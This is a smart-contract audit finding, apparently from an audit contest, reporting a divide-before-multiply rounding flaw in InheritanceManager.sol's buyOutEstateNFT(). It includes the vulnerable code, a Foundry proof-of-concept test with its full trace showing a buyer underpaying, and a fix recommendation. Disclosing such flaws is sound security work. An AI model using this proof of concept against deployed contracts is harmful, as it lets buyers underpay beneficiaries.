Submission Details
Severity:
`InheritanceManager.sol::buyOutEstateNFT()` finalAmount calculation may cause rounding error
Summary
The finalAmount in this function calculates by dividing before multiplying and this can cause rounding error. Allowing the buyer of the estate NFT to pay a lower price as intended.
Vulnerability Details
finalAmount may cause rounding error as it divides before multiplying.
function buyOutEstateNFT(uint256 _nftID) external onlyBeneficiaryWithIsInherited {
uint256 value = nftValue[_nftID];
uint256 divisor = beneficiaries.length;
uint256 multiplier = beneficiaries.length - 1;
@> uint256 finalAmount = (value / divisor) * multiplier;
IERC20(assetToPay).safeTransferFrom(msg.sender, address(this), finalAmount);
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
return;
} else {
IERC20(assetToPay).safeTransfer(beneficiaries[i], finalAmount / divisor);
}
}
nft.burnEstate(_nftID);
}
Impact
In this POC, the buyer is supposed to pay 6.66666 but because of rounding error, it only needs to pay a cheaper price.
function test_buyOutEstateNFTRoundingError() public {
// Create 2 more beneficiary and user3 as NFT buyer
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
// Give the buyer funds to purchase estate
usdc.mint(user3, 10);
// Add the beneficiaries
vm.startPrank(owner);
im.addBeneficiery(user1);
im.addBeneficiery(user2);
im.addBeneficiery(user3);
// Create Estate NFT
uint256 NFTvalue = 10;
im.createEstateNFT("condominium", NFTvalue, address(usdc));
vm.stopPrank();
// Fast forward 90 days
vm.warp(90 days + 1);
// Buyer purchase NFT
vm.startPrank(user3);
usdc.approve(address(im), 6); // Due to rounding error, buyer only need to pay 6 instead of 6.6666666...
im.inherit(); // This set `isInherited` as True to allow buying EstateNFT
im.buyOutEstateNFT(1);
vm.stopPrank();
}
Results
[PASS] test_buyOutEstateNFTRoundingError() (gas: 443603)
Traces:
[443603] InheritanceManagerTest::test_buyOutEstateNFTRoundingError()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802]
├─ [0] VM::label(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], "user2")
│ └─ ← [Return]
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec]
├─ [0] VM::label(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], "user3")
│ └─ ← [Return]
├─ [46784] ERC20Mock::mint(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], 10)
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], value: 10)
│ └─ ← [Stop]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802])
│ └─ ← [Stop]
├─ [23120] InheritanceManager::addBeneficiery(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec])
│ └─ ← [Stop]
├─ [145826] InheritanceManager::createEstateNFT("condominium", 10, ERC20Mock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
│ ├─ [95512] NFTFactory::createEstate("condominium")
│ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], tokenId: 1)
│ │ ├─ emit MetadataUpdate(_tokenId: 1)
│ │ └─ ← [Return] 1
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec])
│ └─ ← [Return]
├─ [24735] ERC20Mock::approve(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 6)
│ ├─ emit Approval(owner: user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], spender: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 6)
│ └─ ← [Return] true
├─ [22686] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [83206] InheritanceManager::buyOutEstateNFT(1)
│ ├─ [26058] ERC20Mock::transferFrom(user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 6)
│ │ ├─ emit Transfer(from: user3: [0xc0A55e2205B289a967823662B841Bd67Aa362Aec], to: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 6)
│ │ └─ ← [Return] true
│ ├─ [25204] ERC20Mock::transfer(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], 2)
│ │ ├─ emit Transfer(from: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], to: user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF], value: 2)
│ │ └─ ← [Return] true
│ ├─ [25204] ERC20Mock::transfer(user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], 2)
│ │ ├─ emit Transfer(from: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], to: user2: [0x537C8f3d3E18dF5517a58B3fB9D9143697996802], value: 2)
│ │ └─ ← [Return] true
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.59ms (336.25µs CPU time)
Tools Used
Manual review
Recommendations
It is recommended to multiply first then perform division.
Updates
Lead Judging Commences
0xtimefliez 6 months ago
Submission Judgement Published Assigned finding tags:
truncation of integers
Rewards breakdown
nSLOC
211This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.